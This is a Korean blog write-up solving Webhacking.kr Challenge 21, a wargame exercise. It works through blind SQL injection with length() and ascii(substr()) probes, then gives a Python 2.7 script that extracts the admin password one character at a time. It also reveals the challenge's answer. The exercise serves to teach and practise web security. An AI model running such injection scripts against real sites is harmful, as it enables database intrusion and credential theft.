ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] Challenge 21 풀이
    Wargame/Webhacking.kr 2019. 5. 11. 00:22

    21번 문제는 Blind SQL Injection 문제이다.

     

    Challenge 21 문제

     

    일단 아무 숫자나 입력해보면서 규칙을 찾아보자.

    1이나 2를 입력했을 때에는 true가 출력되고, 3 이상의 정수를 입력했을 때에는 모두 false가 출력되는 것을 알 수 있다.

    1 또는 2를 입력했을 때
    3 이상의 정수를 입력했을 때

     

    또한 숫자를 입력했을 때 URL은 아래와 같이 나타난다. 이 URL을 통해 테이블에는 최소 3개의 column(no, id, pw)이 있다는 것을 알 수 있다. 그 중 no 열은 정수형 데이터라는 것도 알 수 있다.

    1을 입력했을 때의 URL

     

    위 두 정보를 종합해보면, no열은 테이블 내 회원 정보를 구분해주는 열이고, 테이블 내 회원 수는 2명이라는 것을 알 수 있다. 이 정보를 통해 쿼리문도 유추해볼 수 있다.

    $q = mysql_fetch_array(mysql_query(select no, id, pw from table where no=$_GET[no]));
    
    if(!$q) echo false;
    else echo true;

     

     

    그럼 이제 id와 pw에 대한 정보를 찾아보자.

     

    먼저 length 함수를 이용하여 각 회원의 id와 pw의 길이를 알아본다.

    아래와 같은 쿼리문에서 n 자리에 1부터 차례대로 대입해본다. 결과가 true가 나올 때까지 반복해서 대입하고, no가 2인 경우에도 똑같이 해본다.

    1 and length(id)=n
    1 and length(pw)=n 
    // n = 1, 2, 3 ...

     

    no = 1의 id 길이
    no = 1일 때 pw 길이
    no = 2일 때 id 길이
    no = 2일 때 pw 길이

     

    위의 쿼리문을 통해 알 수 있는 최종 정보는 아래 표와 같다.

    no id pw
    1 ?(5) ?(5)
    2 ?(5) ?(19)

     

    이제 id와 pw가 무엇인지만 알면 이 문제는 해결된다. id와 pw를 찾기 위해서는 ascii와 substr 함수를 이용한다.

    ascii는 인자로 들어온 문자를 아스키 값으로 바꿔주는 함수이다. (ex. ascii('a'): 97 출력)

    substr는 문자열의 일부분을 추출하는 함수이다. 주의할 점은 문자열의 시작 부분 인덱스가 0이 아닌 1이라는 점이다.(ex. substr('abcdefg', 3, 2): c부터 문자 2개 추출 → cd)

     

    (※ ascii 함수를 사용하는 이유: 사실 그냥 string으로 비교해도 되긴 하지만, 전송할 때 URL 인코딩이 되기 때문에 처음부터 문자를 ascii 코드로 변환해서 사용한다.)

     

    ascii와 substr 함수를 이용하여 아래와 같은 쿼리문을 true가 나올 때까지 숫자만 바꿔서 계속 전송한다.

    아래 쿼리문은 no=2인 회원의 id의 첫번째 문자의 ascii 값이 97인지 질의하는 쿼리문으로, 만약 true이면 no=2인 회원의 id의 첫글자가 a인 것이다.

    2 and ascii(substr(id, 1, 1))=97 // id의 1번째 문자 1개의 ASCII 값이 97(=a)

     

    이런식으로 id와 pw를 다 찾아야 하는데, 일일이 해보기에는 너무 힘들기 때문에 이를 일일이 대입해주는 프로그램을 작성해서 돌려야한다. 아래 코드는 Python 2.7로 작성한 코드이다.

    import re, urllib, urllib2
    
    pw=""
    ssid = "본인의 세션 아이디"
    print("find pw")
    
    for i in range(1, 20): # id 또는 pw의 길이
        for j in range(97, 128): # a~z의 아스키코드값 (대문자까지 포함할 경우: range(33, 128))
            url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no=2"
            url += "%20and%20ascii(substr(pw,"+str(i)+",1))=" + str(j)
            req=urllib2.Request(url) # send request
            req.add_header('Cookie',"PHPSESSID=%s" % ssid)
            read = urllib2.urlopen(req).read()
    
            if "True" in read:
                pw += chr(j)
                print ("pw: " + pw)
                break
    
    print ("Fin")

     

    위 코드를 실행하면 no=2의 pw가 출력된다. no=2의 id를 알고싶으면 pw를 모두 id로 바꿔서 실행하면 되고, no=1의 id나 pw를 찾고싶으면 url의 no를 1로 바꿔준 후 실행하면 된다. 앞에서 id와 pw의 길이는 알아냈으므로, 이 정보를 바탕으로 i의 범위를 조절하면 된다. 이런 식으로 모든 회원의 id와 pw를 찾을 수 있다.

     

     

    no=2의 id

     

    no=2의 pw

     

    찾아낸 no=1과 2의 id와 pw를 표로 정리하면 아래와 같다.

    no id pw
    1 guest guest
    2 admin bllindsqlinjectionkk

     

     

    찾아낸 admin의 pw를 Auth에 입력해 제출하면 문제 해결!

     

    pw: blindsqlinjectionkk
    Challenge 21 문제 해결!

Designed by Tistory.